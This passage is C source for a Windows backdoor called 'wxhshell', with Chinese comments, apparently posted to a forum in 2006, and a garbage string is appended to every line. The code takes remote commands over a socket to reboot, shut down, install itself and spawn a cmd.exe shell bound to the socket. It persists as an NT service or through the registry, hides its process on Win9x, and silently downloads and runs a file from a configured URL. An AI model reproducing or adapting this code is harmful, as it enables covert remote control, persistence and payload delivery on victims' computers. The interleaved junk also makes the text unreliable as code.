    switch(cmd[0]) { AI-ZZ6lzR  
  fJ+4H4K  
  // 帮助 lXXWQ=  
  case '?': { M,we,!B0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O$X^Ea7~  
    break; l=C|4@  
  } zm#%]p80f  
  // 安装 ld#YXJ;P.k  
  case 'i': { 6O"y  
    if(Install()) : :928y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (&M,rW~Qxs  
    else g`4WisL1n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dw'P =8d  
    break; \_7'f  
    } kArF Gb2c  
  // 卸载 O;.DQ  
  case 'r': { " "S&zN  
    if(Uninstall()) (/7cXd@\6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YD#L@:&gv  
    else G> s qfYkK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mteQRgC  
    break; {"O-/* f+(  
    } /sSM<r]5j  
  // 显示 wxhshell 所在路径 @eYD@!  
  case 'p': { f6m h_l  
    char svExeFile[MAX_PATH]; AR c  
    strcpy(svExeFile,"\n\r"); %!R\-Vej  
      strcat(svExeFile,ExeFile); % -.V6}V  
        send(wsh,svExeFile,strlen(svExeFile),0); f7Gs1{  
    break; -i]2 b  
    } ? 8)k6:  
  // 重启 uM9Gj@_  
  case 'b': { *r ('A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XII',&  
    if(Boot(REBOOT)) rd,!-w5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rb0{W]opt+  
    else { 1";s #Jq  
    closesocket(wsh); <ka zV<"  
    ExitThread(0); xPJ @!ks9  
    } L%Ms?`i,  
    break; sTvw@o *  
    } U-D00l7C  
  // 关机 f]2;s#cu  
  case 'd': { f||S?ns_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1w+)ne_&  
    if(Boot(SHUTDOWN)) Wr8}=\/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KK4rVb:-  
    else { [Bj\h7 G  
    closesocket(wsh); w8F`RRHEE  
    ExitThread(0); 'fZ\uMdTx  
    } Gsy'':u  
    break; ^~s!*T)\  
    } H-eHX3c7  
  // 获取shell )U{\c2b  
  case 's': { 9 $^b^It  
    CmdShell(wsh); eL [.;_  
    closesocket(wsh); $)6x3&]P  
    ExitThread(0); ITD&w g  
    break; L#fK ,r8  
  } mNJCV8 <  
  // 退出 6UU<:KH  
  case 'x': { 0JW =RW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u.}H)wt  
    CloseIt(wsh); j%gle%_  
    break; hb1eEn  
    } !1l~'/r  
  // 离开 fM"&=X  
  case 'q': { :g{ybTSEe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >b8-v~o{  
    closesocket(wsh); ]$U A5/a  
    WSACleanup(); <VhD>4f{]  
    exit(1); wWM[Hus  
    break; /$9We8  
        } (^58$IW71  
  } zX6Q7Bc  
  } 4r#4h4`y|  
"i&9RA! 1  
  // 提示信息 TV/EC#48  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BC#O.93`  
} (~fv;}}v  
  } 4ZkaH(a1  
Xm<|m#  
  return; +]Ev  
} DeI3(o7  
}(K1=cEaL  
// shell模块句柄 UYzNaw4/x  
int CmdShell(SOCKET sock) 9zm2}6r4  
{ z}Um$'. =  
STARTUPINFO si; A.(e=;0bu  
ZeroMemory(&si,sizeof(si)); p[}~Z|(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HE0m#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I/u>Gt  
PROCESS_INFORMATION ProcessInfo; B?4Iu)bCxI  
char cmdline[]="cmd"; 5>hXqNjP2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @QE&D+NS  
  return 0; yTf/]H]d  
} vi` VK&+r  
J|([(  
// 自身启动模式 g"\J iBb5  
int StartFromService(void) )!;20Po  
{ N|/gwcKe  
typedef struct %eGI]!vf  
{ *77Y$X##k  
  DWORD ExitStatus; q9c-UQB(!  
  DWORD PebBaseAddress; }/ Qj8l.  
  DWORD AffinityMask; h+Y>\Cxg  
  DWORD BasePriority; 2SlI5+u  
  ULONG UniqueProcessId; N$u: !  
  ULONG InheritedFromUniqueProcessId; 6#ktw)e  
}   PROCESS_BASIC_INFORMATION; MjK<n[.  
4~2 9,  
PROCNTQSIP NtQueryInformationProcess; t_+owiF)M  
9U3.=J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V7B%o:FZo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2 ]n4)vv,  
Z:diM$Z?7  
  HANDLE             hProcess;   `#l1  
  PROCESS_BASIC_INFORMATION pbi; +}eK8>2  
c=aZ[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E&)o.l<h|  
  if(NULL == hInst ) return 0; m ;wj|@cF  
%CqG/ol  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _|#P~Ft  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m= %KaRI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B7sBO6Z$J  
-fN5-AC  
  if (!NtQueryInformationProcess) return 0; 40[@d  
0a1Mu>P,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0v``4z2Z  
  if(!hProcess) return 0; P G zwS  
#}Bv/`t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3N4kW[J2i  
[7  t  
  CloseHandle(hProcess); C8=rsh  
!e+Sa{X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M~)iiKw~MY  
if(hProcess==NULL) return 0; W{1l?Wo  
8"rK  
HMODULE hMod; -![{Zb@  
char procName[255]; V0n8fez b  
unsigned long cbNeeded; #TcX5  
yZb})4.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r]Lj@0F>8  
Oq(FV[N7t  
  CloseHandle(hProcess); "V5_B^Gzb]  
m8INgzVTC  
if(strstr(procName,"services")) return 1; // 以服务启动 - %?> 1n  
w:](F^<s,  
  return 0; // 注册表启动 v~0lZe  
} 5@n|uJA  
Q8_5g$X\  
// 主模块 u++a0>N  
int StartWxhshell(LPSTR lpCmdLine) c?6(mU\x  
{ +~7[T/v+n  
  SOCKET wsl; [8vqw(2Tm(  
BOOL val=TRUE; `%~f5<  
  int port=0; dP"cm0  
  struct sockaddr_in door; mq4VwT  
Wxgs66   
  if(wscfg.ws_autoins) Install(); W #kLM\2L  
8E>2 6@.  
port=atoi(lpCmdLine); !/1 ~  
s"~,Zzy@j  
if(port<=0) port=wscfg.ws_port; 4C3i  
v7v>  
  WSADATA data; q?8#D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [q^pMH#U"  
rEWuWv$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "$q"Kilj%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ob/HO (h3  
  door.sin_family = AF_INET; oWggh3eXk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D\E"v,Y\+O  
  door.sin_port = htons(port); ~/Y8wxg  
'1zC|:,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }:*?w>=  
closesocket(wsl); SN`L@/I  
return 1; nO;ox*Bk+8  
} wkp$/IZKMj  
ES#q/yab5  
  if(listen(wsl,2) == INVALID_SOCKET) { rMJ4w['J=  
closesocket(wsl); 24f N3  
return 1; 9e&*+ +vf  
} mA #^Pv*  
  Wxhshell(wsl); jU}  
  WSACleanup(); (1'sBm7F  
@JOsG-VW~  
return 0; ) }k"7"  
@[1,i~H  
} 9QkssI  
2 ]r5e;  
// 以NT服务方式启动 TLg 9`UA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GT3}'`f B  
{ L l,nt  
DWORD   status = 0; 6K >(n  
  DWORD   specificError = 0xfffffff; ^plP1c:  
R5 EC/@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v4\ m9Pu4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ey_mK\'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S-brV\v7  
  serviceStatus.dwWin32ExitCode     = 0; buHUBn[3)  
  serviceStatus.dwServiceSpecificExitCode = 0; !H @nAz  
  serviceStatus.dwCheckPoint       = 0; 9~ifST \  
  serviceStatus.dwWaitHint       = 0; W7 +Q&4Y  
Z#K0a'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Mi`t$hmP  
  if (hServiceStatusHandle==0) return; E.yc"|n7l2  
Ae<;b Of  
status = GetLastError(); g}vU*g ;  
  if (status!=NO_ERROR) wD@ wOC  
{ $:?=A5ttuo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Xg}~\|n  
    serviceStatus.dwCheckPoint       = 0; @d|]BqQ4jh  
    serviceStatus.dwWaitHint       = 0; !DKl:8mx4  
    serviceStatus.dwWin32ExitCode     = status; @VsK7Eo  
    serviceStatus.dwServiceSpecificExitCode = specificError; fi6_yFl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z7a @'+'  
    return; XLm@, A[  
  } " j:15m5  
_$v$v$74^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [U7r>&  
  serviceStatus.dwCheckPoint       = 0; DyQvk  
  serviceStatus.dwWaitHint       = 0; 1z3I^gI*i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sB01 QVx47  
} QFhQfn  
e XmYw^n  
// 处理NT服务事件,比如:启动、停止 be.Kx< I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |^GN<y^cn  
{ |mz0 ]  
switch(fdwControl) /jOug>s  
{ ?_/T$b ]  
case SERVICE_CONTROL_STOP: uJ,I6P~9  
  serviceStatus.dwWin32ExitCode = 0; WW~QK2o-@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~s[Yu!(  
  serviceStatus.dwCheckPoint   = 0; ET3+07  
  serviceStatus.dwWaitHint     = 0; KpO%)M!/Z#  
  { `y.i(~^1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eBW]hwhKzM  
  } d UiS0Qs}  
  return; U9RpHh`  
case SERVICE_CONTROL_PAUSE: jLBwPI_g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o5NrDDH  
  break; );^{;fLy%  
case SERVICE_CONTROL_CONTINUE: VF9-&HuC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ||4++84{  
  break; \0l"9 B.  
case SERVICE_CONTROL_INTERROGATE: 3<6P^p=I  
  break; (' i_Xe  
}; 79U 7<]-!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d.NB@[?*  
} N37#V s  
~|e H8@o  
// 标准应用程序主函数 0y#TGM|0D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f=40_5a6  
{ J_XbtCmt  
kC+dQ&@g{  
// 获取操作系统版本 v=+>ids  
OsIsNt=GetOsVer(); *\[GfTL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); OH~I+=}.  
[m]O^Hp{{  
  // 从命令行安装 [zl"G^z  
  if(strpbrk(lpCmdLine,"iI")) Install(); PPNZ(j   
p2Fi(BW*q  
  // 下载执行文件 71Mk!E=1  
if(wscfg.ws_downexe) { C6,W7M[c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lb#`f,r>  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,An*w_  
} v>mr  
%C*h/AW)'  
if(!OsIsNt) { 9{{CNy p  
// 如果时win9x,隐藏进程并且设置为注册表启动 o=do L{ #  
HideProc(); &v_b7h  
StartWxhshell(lpCmdLine); Xdc>Z\0V  
} <' b%  
else HoKN<w  
  if(StartFromService()) +JL"Z4b@R}  
  // 以服务方式启动 FYeUz$/  
  StartServiceCtrlDispatcher(DispatchTable); `)eqTeW  
else C$EvcF% 1  
  // 普通方式启动 1He'\/#  
  StartWxhshell(lpCmdLine); RIxGwMi%  
@Tf5YZ*  
return 0; XZ&q5]PJI  
}
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只看该作者 1 发表于: 2006-10-10
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